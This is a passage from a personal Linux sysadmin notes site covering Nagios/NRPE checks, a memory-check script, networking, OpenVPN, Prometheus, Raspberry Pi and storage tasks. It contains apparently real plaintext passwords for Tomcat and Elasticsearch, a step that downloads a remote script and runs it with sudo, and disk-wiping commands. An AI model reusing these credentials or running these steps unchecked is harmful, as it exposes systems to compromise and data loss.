display_name Total Procs
host_name server.example.com
max_check_attempts 3
notification_period 24x7
service_description Total Procs
use generic-service
}
define service {
check_command check_nrpe!check_users
display_name User Check
host_name server.example.com
max_check_attempts 3
notification_period 24x7
service_description Users Check
use generic-service
}
define service {
check_command check_nrpe!check_zombie_procs
display_name Zombie Procs
host_name server.example.com
max_check_attempts 3
notification_period 24x7
service_description Zombie Procs
use generic-service
}
define service {
check_command check_nrpe!check_OpManager
display_name Netflow Service
host_name server.example.com
max_check_attempts 3
notification_period 24x7
service_description Netflow Service Status
use generic-service
}
define service {
check_command check_nrpe!check_mysql
display_name MySQL Status
host_name nagiosserver.example.com
max_check_attempts 3
notification_period 24x7
service_description MySQL Status
use generic-service
}
```
**In the GUI:**
After adding the host and reloading the Nagios service, quickly go to the Nagios GUI and mute the notifications. You can also schedule a check to re-check the host's service statuses (almost) immediately, view the status detail for the host (list of items Nagios is monitoring), etc.
### On the host to monitor
``` bash
# See if Nagios is already installed
dpkg -l | grep nagios
# Install Nagios
apt-get install nagios-nrpe-server nagios-plugins-basic
# Add your custom checks (see below custom_nrpe.cfg file)
nano /etc/nagios/nrpe.d/custom_nrpe.cfg
# Create the check_mem plugin, as it's a custom, standard check (see below check_mem file)
nano /usr/lib/nagios/plugins/check_mem
# Make the file executable
chmod +x /usr/lib/nagios/plugins/check_mem
# Add x.x.x.x (servername) to the allowed hosts (you will get "CHECK_NRPE: Error - Could not complete SSL handshake." in Nagios GUI if you don't add this line)
nano /etc/nagios/nrpe.cfg
allowed_hosts=127.0.0.1,x.x.x.x
# Restart the nagios-nrpe-server for it to recognise the change
/etc/init.d/nagios-nrpe-server restart
```
**File custom_nrpe.cfg**
``` bash
##########################################################
# #
# you can place all you custom-config snipplets here #
# only snipplets ending in .cfg will get included #
# #
##########################################################
#
# Generic Checks - For all nodes
command[check_zombie_procs]=/usr/lib/nagios/plugins/check_procs -w 5 -c 10 -s Z
command[check_total_procs]=/usr/lib/nagios/plugins/check_procs -w 600 -c 800
command[check_vda1]=/usr/lib/nagios/plugins/check_disk -w 10% -c 5% -x tmpfs -x udev -x /snap/*
command[check_disk_inode]=/usr/lib/nagios/plugins/check_disk_inodes -w 80 -c 90 -p /
command[check_running_proc]=/usr/lib/nagios/plugins/check_procs $ARG1$
command[check_puppet_agent]=sudo /usr/lib/nagios/plugins/check_puppet_agent
command[check_open_deleted_files]=sudo /usr/lib/nagios/plugins/check_open_deleted_files -w 15000000000 -c 20000000000
command[check_kernel]=sudo /usr/lib/nagios/plugins/check_kernel
command[check_users]=/usr/lib/nagios/plugins/check_users -w 10 -c 20
command[check_sssd_status]=/usr/lib/nagios/plugins/check_sssd_status
command[check_java_version]=/usr/lib/nagios/plugins/check_java_version
# Check Load - Defined per node type
##command[check_load]=/usr/lib/nagios/plugins/check_load -w 15.0,10,5 -c 30,25,20
#
command[check_load]=/usr/lib/nagios/plugins/check_load -r -w 2.5,2,1.5 -c 4,3.5,3
# Check Load - Defined per node type
command[check_mem]=/usr/lib/nagios/plugins/check_mem -w 85 -c 95
# KONG Checks
command[check_kong]=/usr/lib/nagios/plugins/check_kong
# ntpd Checks
command[check_ntpd]=/usr/lib/nagios/plugins/check_ntpd --peer_warning 1 --peer_critical 0
# TOMCAT Checks
#command[check_tomcat]=/usr/lib/nagios/plugins/check_tomcat -H localhost -p 8080 -w 10%,50 -c 5%,10 -l nagios -a i1I605LzIG7V
command[check_tomcat]=/usr/lib/nagios/plugins/check_tomcat 10 80 10 admin Masehare
# Percona/MySQL Checks
command[check_percona_cluster_size]=sudo /usr/lib64/nagios/plugins/pmp-check-mysql-status -x wsrep_cluster_size -C '<=' -w 2 -c 1
command[check_percona_primary_cluster]=sudo /usr/lib64/nagios/plugins/pmp-check-mysql-status -x wsrep_cluster_status -C == -T str -c non-Primary
command[check_percona_local_node_sync]=sudo /usr/lib64/nagios/plugins/pmp-check-mysql-status -x wsrep_local_state_comment -C '!=' -T str -w Synced
command[check_percona_flow_control]=sudo /usr/lib64/nagios/plugins/pmp-check-mysql-status -x wsrep_flow_control_paused -w 0.1 -c 0.9
command[check_mysql_status]=/usr/lib64/nagios/plugins/pmp-check-mysql-status $ARG1$
command[check_mysql_processlist]=/usr/lib64/nagios/plugins/pmp-check-mysql-processlist
command[check_mysql_innodb]=/usr/lib64/nagios/plugins/pmp-check-mysql-innodb -C $ARG1$
command[check_mysql_status_uptime]=/usr/lib64/nagios/plugins/pmp-check-mysql-status x Uptime -C '<' -w $ARG1$ -c $ARG2$
command[check_mysql_status_connx]=/usr/lib64/nagios/plugins/pmp-check-mysql-status -x Threads_connected -o / -y max_connections -T pct -w $ARG1$ -c $ARG2$
command[check_mysql_status_threadrun]=/usr/lib64/nagios/plugins/pmp-check-mysql-status -x Threads_running -w $ARG1$ -c $ARG2$
command[check_mysql_slave_running]=/usr/lib64/nagios/plugins/pmp-check-mysql-replication-running
command[check_mysql_slave_delay]=/usr/lib64/nagios/plugins/pmp-check-mysql-replication-delay
# MemSQL Checks - ALL
command[check_memsql_orphans]=/usr/lib/nagios/plugins/check_memsql_orphans
command[check_memsql_stat_only]=/usr/lib/nagios/plugins/check_memsql_dbs_only
command[check_memsql_memory]=/usr/lib/nagios/plugins/check_memsql_mem
command[check_port_3306_on_all_memsql_nodes]=/usr/lib/nagios/plugins/check_memsql_connections
# MemSQL Checks - mem_master
# NGINX Checks
command[check_nginx_status]=/usr/lib/nagios/plugins/check_nginx_status -H localhost -P 9396 -w 10000 -c 20000
command[check_nginx_procs]=/usr/lib/nagios/plugins/check_procs --argument-array="/usr/sbin/nginx -g daemon on; master_process on" -w 1:1 -c 1:1
# Rabbit MQ Checks
command[check_rabbit_status]=/usr/lib/nagios/plugins/check_rabbit_stat -n aliveness-test -q status
command[check_rabbit_msg_ready]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q messages_ready -c 2000 -w 10000
command[check_rabbit_msg_unack]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q messages_unacknowledged -w 0 -c 10
command[check_rabbit_publish]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q publish_details
command[check_rabbit_msg_ack]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q ack_details
command[check_rabbit_deliver_get]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q deliver_get_details
command[check_rabbit_msg_redeliver]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q redeliver_details -w 40 -c 80
command[check_rabbit_msg_deliver]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q deliver_details
command[check_rabbit_deliver_no_ack]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q deliver_no_ack_details
command[check_rabbit_get_no_ack]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q get_no_ack_details
command[check_rabbit_memory]=/usr/lib/nagios/plugins/check_rabbit_stat -n nodes -q memory
# NODEJS Checks
command[check_node_pm2_status]=/usr/bin/sudo -i -u serviceuser check_node_pm2 -A -S -R --rwarn 5 --rcrit 10
# Dockerswarm checks
command[check_docker_procs]=/usr/lib/nagios/plugins/check_procs --argument-array=/var/run/docker/containerd/containerd.toml -w 1:1 -c 1:1
#
# Wordpress
command[check_glusterfs]=/usr/lib/nagios/plugins/check_glusterfs -v wordpress_files -n 2
command[check_php5fpm_status]=/usr/lib/nagios/plugins/check_phpfpm_status -o linux -s php5-fpm
command[check_php71fpm_status]=/usr/lib/nagios/plugins/check_phpfpm_status -o linux -s php7.1-fpm
command[check_wpress_version]=/usr/lib/nagios/plugins/check_wp_version
# Glusterfs Checks
command[check_gluster_procs]=/usr/lib/nagios/plugins/check_procs --argument-array="/usr/sbin/glusterd -p /var/run/glusterd.pid" -w 1:1 -c 1:1
command[check_glusterfs_health]=/usr/lib/nagios/plugins/check_glusterfs_health
# Gitlab Checks
command[check_gitlab_procs]=/usr/lib/nagios/plugins/check_procs --argument-array=/etc/gitlab-runner/config.toml -c 1:1
# ClusterControl Checks
command[check_cluster_control]=/usr/lib/nagios/plugins/check_cluster_control
# MongoDB
command[check_mongo_connections]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_connections
command[check_mongo_election]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_election
command[check_mongo_repl_lag]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_repl_lag
command[check_mongo_flushing]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_flushing
command[check_mongo_total_indexes]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_total_indexes
command[check_mongo_balance]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_balance
command[check_mongo_queues]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_queues
command[check_mongo_cannary_test]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_cannary_test
command[check_mongo_have_primary]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_have_primary
command[check_mongo_connect]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_connect
command[check_mongo_oplog]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_oplog
## Elasticsearch
command[check_elasticsearch]=/usr/lib/nagios/plugins/check_elasticsearch.sh -H localhost -u elastic -p tusfDtzYSEtb
## ZFS
command[check_zfs_pool_health]=/usr/lib/nagios/plugins/check_zfs_pool_health
## Netflow
command[check_OpManager]=/usr/lib/nagios/plugins/check_procs -a OpManager
## Zabbix
command[check_zabbix_server]=/usr/lib/nagios/plugins/check_procs -c 1: -w 3: -C zabbix_server
command[check_zabbix_agent]=/usr/lib/nagios/plugins/check_procs -c 1: -w 3: -C zabbix_agentd
command[check_mysql]=/usr/lib/nagios/plugins/check_procs -a mysql
```
**File check_mem**
``` bash
#!/bin/bash
if [ "$1" = "-w" ] && [ "$2" -gt "0" ] && [ "$3" = "-c" ] && [ "$4" -gt "0" ]; then
FreeM=`free -m`
memTotal_m=`echo "$FreeM" |grep Mem |awk '{print $2}'`
memUsed_m=`echo "$FreeM" |grep Mem |awk '{print $3}'`
memFree_m=`echo "$FreeM" |grep Mem |awk '{print $4}'`
memBuffer_m=`echo "$FreeM" |grep Mem |awk '{print $6}'`
memCache_m=`echo "$FreeM" |grep Mem |awk '{print $7}'`
memUsed_m=$(($memUsed_m - $memCache_m))
memUsedPrc=`echo $((($memUsed_m*100)/$memTotal_m))||cut -d. -f1`
if [ "$memUsedPrc" -ge "$4" ]; then
echo "Memory: CRITICAL Total: $memTotal_m MB - Used: $memUsed_m MB - $memUsedPrc% used!|TOTAL=$memTotal_m;;;; USED=$memUsed_m;;;; CACHE=$memCache_m;;;; BUFFER=$memBuffer_m;;;;"
exit 2
elif [ "$memUsedPrc" -ge "$2" ]; then
echo "Memory: WARNING Total: $memTotal_m MB - Used: $memUsed_m MB - $memUsedPrc% used!|TOTAL=$memTotal_m;;;; USED=$memUsed_m;;;; CACHE=$memCache_m;;;; BUFFER=$memBuffer_m;;;;"
exit 1
else
echo "Memory: OK Total: $memTotal_m MB - Used: $memUsed_m MB - $memUsedPrc% used|TOTAL=$memTotal_m;;;; USED=$memUsed_m;;;; CACHE=$memCache_m;;;; BUFFER=$memBuffer_m;;;;"
exit 0
fi
else # If inputs are not as expected, print help.
sName="`echo $0|awk -F '/' '{print $NF}'`"
echo -e "\n\n\t\t### $sName Version 2.0###\n"
echo -e "# Usage:\t$sName -w -c "
echo -e "\t\t= warnlevel and critlevel is percentage value without %\n"
echo "# EXAMPLE:\t/usr/lib64/nagios/plugins/$sName -w 80 -c 90"
echo -e "\nCopyright (C) 2012 Lukasz Gogolin (lukasz.gogolin@gmail.com), improved by Nestor 2015\n\n"
exit
fi
```
### Troubleshooting
``` bash
### On the Nagios Box
# Check the log, grepping a part of the server name you what to see a log for
tail -f /var/log/nagios3/nagios.log | grep netflow
### On the Host to Monitor
## Test to see if you can run the checks (these are found in /etc/nagios/nrpe.d/custom_nrpe.cfg)
# CPU Load
/usr/lib/nagios/plugins/check_load -r -w 2.5,2,1.5 -c 4,3.5,3
# Disk vda1 Status
/usr/lib/nagios/plugins/check_disk -w 10% -c 5% -x tmpfs -x udev -x /snap/*
# Memory
/usr/lib/nagios/plugins/check_mem -w 85 -c 95
# Total Procs
/usr/lib/nagios/plugins/check_procs -w 600 -c 800
# Users Check
/usr/lib/nagios/plugins/check_users -w 10 -c 20
# Zombie Procs
/usr/lib/nagios/plugins/check_procs -w 5 -c 10 -s Z
```
---
# Networking
Source: docs/computing/linux/networking.md
URL: https://docs.calebsargeant.com/computing/linux/networking/
## IPTables
## Creating & Deleting Rules
**Create**
``` bash
iptables -A INPUT -i eth0 -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -i eth0 -p tcp --dport 443 -j ACCEPT
```
**Delete**
``` bash
iptables -D INPUT -i eth0 -p tcp --dport 80 -j ACCEPT
iptables -D INPUT -i eth0 -p tcp --dport 443 -j ACCEPT
```
## List & Delete Rules
``` bash
# List the rules
iptables -L INPUT --line-numbers
# Delete rule 2 for example
iptables -D INPUT 2
# Specify a table
iptables -t nat -D PREROUTING 1
```
## LACP
``` bash
sudo apt-get update -y && sudo apt-get upgrade -y
sudo service networking stop
sudo nano /etc/network/interfaces
#/etc/network/interfaces
auto lo
iface lo inet loopback
iface eno1 inet manual
bond-master bond0
iface eno2 inet manual
bond-master bond0
auto bond0
iface bond0 inet manual
bond-mode 4
bond-miimon 100
bond-lacp rate 1
bond-slaves none
auto br0
iface br0 inet static
address 10.0.0.253
gateway 10.0.0.1
netmask 255.255.255.0
bridge-ports bond0
bridge-stp off
bridge-fd 0
bridge-maxwait 0
#
sudo service networking start
```
## Netcat
``` bash
# Check RADIUS UDP 1812 Port Status
nc -vnzu 10.11.12.13 1812
```
## Dig
A & CNAME: `dig @dnsserver.example.com +short domain.com` NS: `dig @dnsserver.example.com +short NS domain.com` MX: `dig @dnsserver.example.com +short MX domain.com` PTR: `dig @dnsserver.example.com +short -x 10.11.12.13`
### Public IP
Use `208.67.222.222` instead of resolver1 if no DNS. `dig +short myip.opendns.com @resolver1.opendns.com`
## Change Hostname
``` bash
sudo hostnamectl set-hostname
sudo nano /etc/hosts
```
## Netplan
Static vs dynamic IP Address configuration.
`sudo nano /etc/netplan`
``` yaml
# DYNAMIC (defaults)
network:
version: 2
ethernets:
eth0:
dhcp4: true
match:
macaddress: xx:xx:xx:xx:xx:xx
set-name: eth0
# STATIC
network:
ethernets:
eth0:
addresses:
- 10.0.2.3/24
gateway4: 10.0.2.1
nameservers:
addresses:
- 10.0.2.1
search:
- example.com
version: 2
```
## Ubuntu 16 - Change IP & Hostname
**Static IP**
``` bash
cd /etc/sysconfig/network-scripts/
vi ifcfg-eth0
DEVICE=eth0
BOOTPROTO=none
ONBOOT=yes
NETMASK=xxx.xxx.xxx.xxx
IPADDR=xxx.xxx.xxx.xxx
TYPE=Ethernet
vi /etc/sysconfig/network
NETWORKING=yes
NETWORKING_IPV6=no
HOSTNAME=hostname.domainname.co.za
GATEWAY=xxx.xxx.xxx.xxx
/etc/init.d/network restart
```
**Dynamic IP**
`dhclient ethx` or:
``` bash
cd /etc/sysconfig/network-scripts/
vi ifcfg-eth0
DEVICE=eth0
BOOTPROTO=dhcp
ONBOOT=yes
TYPE=Ethernet
vi /etc/sysconfig/network
NETWORKING=yes
NETWORKING_IPV6=no
HOSTNAME=hostname.domainname.co.za
GATEWAY=xxx.xxx.xxx.xxx
/etc/init.d/network restart
```
**Hostname Change**
``` bash
hostname --fqd
vi /etc/sysconfig/network
HOSTNAME=
vi /etc/hosts
reboot
```
---
# OpenVPN
Source: docs/computing/linux/openvpn.md
URL: https://docs.calebsargeant.com/computing/linux/openvpn/
``` bash
wget https://git.io/vpn -O openvpn-ubuntu-install.sh
chmod -v +x openvpn-ubuntu-install.sh
sudo ./openvpn-ubuntu-install.sh
```
---
# Prometheus
Source: docs/computing/linux/prometheus.md
URL: https://docs.calebsargeant.com/computing/linux/prometheus/
## Installation
``` bash
# https://www.howtoforge.com/how-to-install-prometheus-on-ubuntu-20-04/
# https://linuxhint.com/install_prometheus_ubuntu/
# Create Prometheus System User
sudo useradd --no-create-home --shell /bin/false prometheus
sudo useradd --no-create-home --shell /bin/false node_exporter
# Create Prometheus Directories
sudo mkdir /etc/prometheus
sudo mkdir /var/lib/prometheus
# Downloading and Installing Prometheus
# https://prometheus.io/download
wget
tar -xvf prometheus-2.28.1.linux-amd64.tar.gz
sudo cp prometheus-2.28.1.linux-amd64/prometheus /usr/local/bin/
sudo cp prometheus-2.28.1.linux-amd64/promtool /usr/local/bin/
sudo chown prometheus:prometheus /usr/local/bin/prometheus
sudo chown prometheus:prometheus /usr/local/bin/promtool
sudo cp -r prometheus-2.28.1.linux-amd64/consoles /etc/prometheus
sudo cp -r prometheus-2.28.1.linux-amd64/console_libraries /etc/prometheus
sudo chown -R prometheus:prometheus /etc/prometheus/consoles
sudo chown -R prometheus:prometheus /etc/prometheus/console_libraries
# Create Prometheus Configuration File
sudo nano /etc/prometheus/prometheus.yml
global:
scrape_interval: 15s
scrape_configs:
- job_name: 'prometheus'
scrape_interval: 5s
static_configs:
- targets: ['localhost:9090']
# Create Prometheus Service
sudo nano /etc/systemd/system/prometheus.service
[Unit]
Description=Prometheus
Wants=network-online.target
After=network-online.target
[Service]
User=prome
Group=prome
Type=simple
ExecStart=/usr/local/bin/prometheus \
--config.file /etc/prometheus/prometheus.yml \
--storage.tsdb.path /var/lib/prometheus/ \
--web.console.templates=/etc/prometheus/consoles \
--web.console.libraries=/etc/prometheus/console_libraries
[Install]
WantedBy=multi-user.target
sudo systemctl daemon-reload
sudo systemctl enable prometheus
sudo systemctl status prometheus
```
## Check if Config is Valid
``` bash
./promtool check config prometheus.yml
```
---
# Raspberry Pi
Source: docs/computing/linux/raspberry.md
URL: https://docs.calebsargeant.com/computing/linux/raspberry/
All Raspberry Pi-related stuff.
## Writing SD Card
``` bash
# List disks to find SD card disk number (diskN)
diskutil list
# Unmount the disk
diskutil unmountDisk /dev/diskN
# Write the image to SD card. Check the progress by pressing Ctrl+T.
sudo dd bs=1m if=/Users/caleb/Downloads/raspberry.img of=/dev/rdiskN; sync
# Eject the disk afterwards
sudo diskutil eject /dev/rdiskN
```
## Firmware Update
``` bash
sudo rpi-update
sudo reboot
```
## Parsec
``` bash
# Make sure to set the resolution and graphics memory
sudo raspi-config
# advanced options
# GL Driver
# Disable
# Download & install https://github.com/hitesh83/pwomxplayer-support/archive/refs/heads/main.zip to get rid of the lib error
# Download https://builds.parsecgaming.com/channel/release/appdata/rpi/latest and move to ~/.parsec/appdata.json
# Download https://builds.parsecgaming.com/channel/release/binary/rpi/gz/parsecd-150-47.so and copy to ~/parsec/
# Or download the below and copy to ~/parsec
```
[Parsec Files](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/parsecfiles.7z)
## Mail
``` bash
apt install mailutils
# mail command will use exim4 by default, so change exim4 config to be on internet instead of local
nano /etc/exim4/update-exim4.conf.conf
dc_eximconfig_configtype='internet'
# restart exim4
systemctl restart exim4
# Check the log of sending maik
tail -f /var/log/exim4/mainlog
# Sending a mail
echo "my body" | mail -s "mysubject" contact@calebsargeant.com
```
## Swap File Size
``` bash
sudo dphys-swapfile swapoff
sudo nano /etc/dphys-swapfile
CONF_SWAPSIZE=1024
sudo dphys-swapfile setup
sudo dphys-swapfile swapon
```
## Web Server
### Apache
``` bash
sudo apt install apache2 -y
sudo usermod -a -G www-data pi
sudo chown -R -f www-data:www-data /var/www/html
nano /var/www/html/index.html
```
### PHP
``` bash
sudo apt install php7.4 libapache2-mod-php7.4 php7.4-mbstring php7.4-mysql php7.4-curl php7.4-gd php7.4-zip -y
sudo nano /var/www/html/example.php
ServerName example.com
ServerAlias www.example.com
DocumentRoot /var/www/example.com/public_html
ErrorLog ${APACHE_LOG_DIR}/example.com_error.log
CustomLog ${APACHE_LOG_DIR}/example.com_access.log combined
sudo mkdir -p /var/www/example.com/public_html
sudo chown -R www-data:www-data /var/www/example.com/public_html
sudo a2ensite example.com.conf
sudo systemctl reload apache2
```
## USB Audio
``` bash
nano /usr/share/alsa/alsa.conf
defaults.ctl.card 1
defaults.pcm.card 1
alsamixer
speaker-test -c2
```
## Bluetooth Speaker
Work in progress... RPI3B audio still skips every once in a while, despite official power adapter.
``` bash
# Install bluetooth & pulseaudio & bluez-tools (for autopairing/trusting)
sudo apt-get install pulseaudio pulseaudio-module-bluetooth bluez-tools
# Fix audio before you even get problems https://askubuntu.com/questions/707171/how-can-i-fix-choppy-audio (still getting audio jumps over bluetooth)
/etc/pulse/default.pa
load-module module-udev-detect
load-module module-udev-detect tsched=0
pulseaudio -k
# Add user to bluetooth group & reboot
sudo usermod -a -G bluetooth pi
# Make pi discoverable as an A2DP Sink
sudo nano /etc/bluetooth/main.conf
...
Class = 0x41C
...
DiscoverableTimeout = 0
...
sudo systemctl restart bluetooth
# Run & config bluetoothctl (can also be used to troubleshoot connections - just run bluetoothctl and connect device)
bluetoothctl
power on
discoverable on
pairable on
agent on
default-agent
system-alias 'Your New BT Alias'
quit
# Start & enable pulseaudio (as pi user)
pulesaudio --start
sudo systemctl status bluetooth
systemctl --user enable pulseaudio
# Enable autologin as pi user
sudo raspi-config
3 Boot Options
B1 Desktop / CLI
B2 Console Autologin
sudo reboot now
# Configure bluez-tools
sudo nano /etc/systemd/system/bt-agent.service
[Unit]
Description=Bluetooth Auth Agent After=bluetooth.service PartOf=bluetooth.service
[Service]
Type=simple
ExecStart=/usr/bin/bt-agent -c NoInputNoOutput
[Install] WantedBy=bluetooth.target
# Start & Enable bt-agent
sudo systemctl enable bt-agent
sudo systemctl start bt-agent
sudo systemctl status bt-agent
# OPTIONAL: Adding a PIN
sudo nano /etc/bluetooth/pin.conf
* 123456
sudo chmod 600 /etc/bluetooth/pin.conf
sudo nano /etc/systemd/system/bt-agent.service
[Unit]
Description=Bluetooth Auth Agent After=bluetooth.service PartOf=bluetooth.service
[Service]
Type=simple
ExecStart=/usr/bin/bt-agent -c NoInputNoOutput -p /etc/bluetooth/pin.conf ExecStartPost=/bin/sleep 1
ExecStartPost=/bin/hciconfig hci0 sspmode 0
[Install] WantedBy=bluetooth.target
sudo systemctl daemon-reload
sudo systemctl restart bt-agent
sudo systemctl status bt-agent
# OPTIONAL: Use USB bluetooth dongle (disable onboard)
sudo nano /etc/modprobe.d/blacklist-bluetooth.conf
blacklist btbcm
blacklist hci_uart
sudo reboot
```
### Audio Config
Adjusting Volume:
`alsamixer`
Change Audio Output Device:
`sudo raspi-config` \> Advanced Options \> Audio
### Spotify Connect
``` bash
# Install dependancies
sudo apt install -y apt-transport-https curl
# Add raspotify GPG key & repo
curl -sSL https://dtcooper.github.io/raspotify/key.asc | sudo apt-key add -v -
echo 'deb https://dtcooper.github.io/raspotify raspotify main' | sudo tee /etc/apt/sources.list.d/raspotify.list
# Install raspotify
sudo apt update
sudo apt install raspotify
# Changing name of device - leave "OPTIONS" alone if you don't want to tie to internet account and have it work over just the LAN (same L2 broadcast domain)
sudo nano /etc/default/raspotify
DEVICE_NAME="raspotify"
BITRATE="160"
OPTIONS="--username --password "
# Restart raspotify after making changes
sudo systemctl restart raspotify
```
### Fixing Audio
Attempts to fix the audio jumps:
---
# Storage
Source: docs/computing/linux/storage.md
URL: https://docs.calebsargeant.com/computing/linux/storage/
## Resizing Disk
``` bash
[root@host ~]# df -h
Filesystem Size Used Avail Use% Mounted on
devtmpfs 7.6G 0 7.6G 0% /dev
tmpfs 7.6G 8.0K 7.6G 1% /dev/shm
tmpfs 7.6G 759M 6.9G 10% /run
tmpfs 7.6G 0 7.6G 0% /sys/fs/cgroup
/dev/sda1 151G 22G 123G 16% /
/dev/sdc 500G 247G 254G 50% /var/lib/pgsql
tmpfs 1.6G 0 1.6G 0% /run/user/1001
[root@host ~]# resize2fs /dev/sdc
resize2fs 1.42.9 (28-Dec-2013)
resize2fs: Bad magic number in super-block while trying to open /dev/sdc
Couldnt find valid filesystem superblock.
[root@host ~]# xfs_growfs /dev/sdc
meta-data=/dev/sdc isize=512 agcount=4, agsize=32768000 blks
= sectsz=512 attr=2, projid32bit=1
= crc=1 finobt=1 spinodes=0
data = bsize=4096 blocks=131072000, imaxpct=25
= sunit=0 swidth=0 blks
naming =version 2 bsize=4096 ascii-ci=0 ftype=1
log =internal bsize=4096 blocks=64000, version=2
= sectsz=512 sunit=0 blks, lazy-count=1
realtime =none extsz=4096 blocks=0, rtextents=0
data blocks changed from 131072000 to 175636480
[root@host ~]#
[root@host ~]#
[root@host ~]# df -h
Filesystem Size Used Avail Use% Mounted on
devtmpfs 7.6G 0 7.6G 0% /dev
tmpfs 7.6G 8.0K 7.6G 1% /dev/shm
tmpfs 7.6G 759M 6.9G 10% /run
tmpfs 7.6G 0 7.6G 0% /sys/fs/cgroup
/dev/sda1 151G 22G 123G 16% /
/dev/sdc 670G 247G 424G 37% /var/lib/pgsql
tmpfs 1.6G 0 1.6G 0% /run/user/1001
[root@host ~]#
```
## File System Check Loop
You start up CentOS and it wants to do a File System check. You do the check, reboot and it happens again. Try the following:
1. Put a CentOS disk into the DVD-Rom
2. Start Rescue Mode
3. Type the following commands:
``` bash
chroot /mnt/sysimage
badblocks -sv /dev/sdax -o
e2fsck -t ext3 -l /dev/sdax
vi /etc/fstab
comment out /dev/sdax before booting the server again
```
## Formatting USB Flash Drive
- vFAT (FAT32): `mkfs.vfat`
- NTFS: `mkfs.ntfs`
- EXT4: `mkfs.ext4`
``` bash
# Format
mkfs.ext4 -L CALEB /dev/sdx
# Show information about the USB flash
parted /dev/sdx print
# Mound the flash
mount -t ext4 /dev/sdx1 /mnt/CALEB
```
## Repairing Grub
You boot up Linux machine (CentOS) and only "grub \_" displays on the screen. You can try:
1. Boot from Linux live CD/USB
2. Start in Rescue Mode
3. Run commands
``` bash
chroot /mnt/sysimage
sbin/grub-install
mount
reboot
```
## Mount
``` bash
# install cifs-utils
apt-get install cifs-utils
# /etc/fstab
//server/data /mnt/data cifs credentials=/root/.smbcredentials,vers=1.0,iocharset=utf8,sec=ntlm 0 0
mount -a
```
## Mount USB Flash Disk
``` bash
# Create folder for mounting
mkdir -p /media/USB
# List /dev/
ls /dev/
# Insert Flash now, then list /dev/ again, if flash is sdb:
mount -t vfat /dev/sdb1 /media/USB
# List contents of /media/USB
# If dir contains System Volume Information, you good
# When you are done, to safely remove:
umount /media/USB
```
## iostat
``` bash
sudo apt-get install sysstat
iostat -d 2 /dev/sda
```
## DRBD
``` bash
### CONFIGURATION
# After deploying DRBD through Ansible:
# Initialize the metadata
drbdadm create-md data
# Start the resource
drbdadm up data
# Set primary or standby
drbdadm primary --force data
drbdadm secondary --force data
mkfs.ext3 /dev/drbd1
mount /dev/drbd1 /mnt/data
# Upgrade to DRBD v9
sudo add-apt-repository ppa:linbit/linbit-drbd9-stack
sudo apt update -y && sudo apt upgrade -y
### AFTER REBOOT / POWER FAILURE
# Dont panic your data is in /dev/drbd1, just need to mount it
sudo drbdadm up data
# on primary only
sudo drbdadm primary --force data
# Mount drbd1 (where the data is!)
sudo mount /dev/drbd1 /mnt/data
# Start docker container from compose
cd /etc/docker/owncloud/
sudo docker-compose up -d
# Restart deluge container to see the data again
sudo docker restart deluge
```
## ZFS
``` bash
# Install ZFS
sudo apt install zfsutils-linux
# Check which disks to use
fdisk -l
# Create the pool (data will be wiped!)
sudo zpool create tank /dev/sdb /dev/sdc
# Check Status
sudo zpool status
# Create ZFS Volume in pool or tank
sudo zfs create -V 3486gb tank/vol
```
## GlusterFS
``` bash
# Install GlusterFS
apt install glusterfs-server -y
# Add servers to hosts file (to not rely on DNS)
nano /etc/hosts
# Create Gluster Volume
gluster volume create gv0 server:/data server2:/data force
# Start Gluster Volume
gluster volume start gv0
```
## Badblocks
- You can use a Linux boot CD to repair a Windows NTFS disk fault.
- If no filesystems are specified on the command line, and the `-A` option is not specified, `fsck` will default to checking filesystems in the `/etc/fstab` serial.
- This can take several hours depending on the speed of your system and the size and speed of your disk.
- unmount the disk first using `sudo fsck -pcfv /dev/sda`. This `fsck` command forces automatic bad block checking and it automatically marks all known bad sectors as bad too.
- If you're booting back into Linux, make sure that `smartmontools` is installed and enabled with `sudo apt-get install smartmontools`.
- Enable "SMART" in your BIOS if it isn't already.
- Run an extended offline test with `sudo smartctl --test=long /dev/sda`
- To see a nice overall view of system health: `sudo smartctl -a /dev/sda`
### Linux Harddrive
1. Put a CentOS disk into the DVD-Rom
2. Start Rescue Mode
3. Type the following commands:
``` bash
fdisk -l
mkdir /mnt/boot
mount /dev/hdb1 /mnt/boot
df -h
cd /mnt/boot
badblocks -sv /dev/sdax -o
e2fsck -t ext3 -l /dev/sdax
```
### Windows Harddrive
!!! warning
This is not a good idea!
1. Plug the ntfs disk into a Linux box
2. Boot off the Linux box
3. Type the following commands:
``` bash
yum install ntfs-3g ntfs-config ntfsprogs testdisk
ln -s /usr/bin/ntfsfix /usr/sbin/fsck.ntfs
ln -s /usr/bin/ntfsfix /usr/sbin/fsck.ntfs-3g
fdisk -l
mkdir /mnt/boot
mount /dev/hdbx /mnt/boot
df -h
cd /mnt/boot
badblocks -sv /dev/hdbx -o
e2fsck -t ext3 -l /dev/hdbx
```
## MDADM
``` bash
# Add entry to fstab to automount
nano /etc/fstab
/dev/md0 /media/data ext4 defaults 0 0
# Ensure that the mountpoint exists
mkdir /media/data
# Create a FS on the array if not done already
mkfs.ext4 /dev/md0
# Mount the FS
mount /dev/md0 /media/data
# Or mount all
mount -a
```
---
# Training
Source: docs/computing/linux/training.md
URL: https://docs.calebsargeant.com/computing/linux/training/
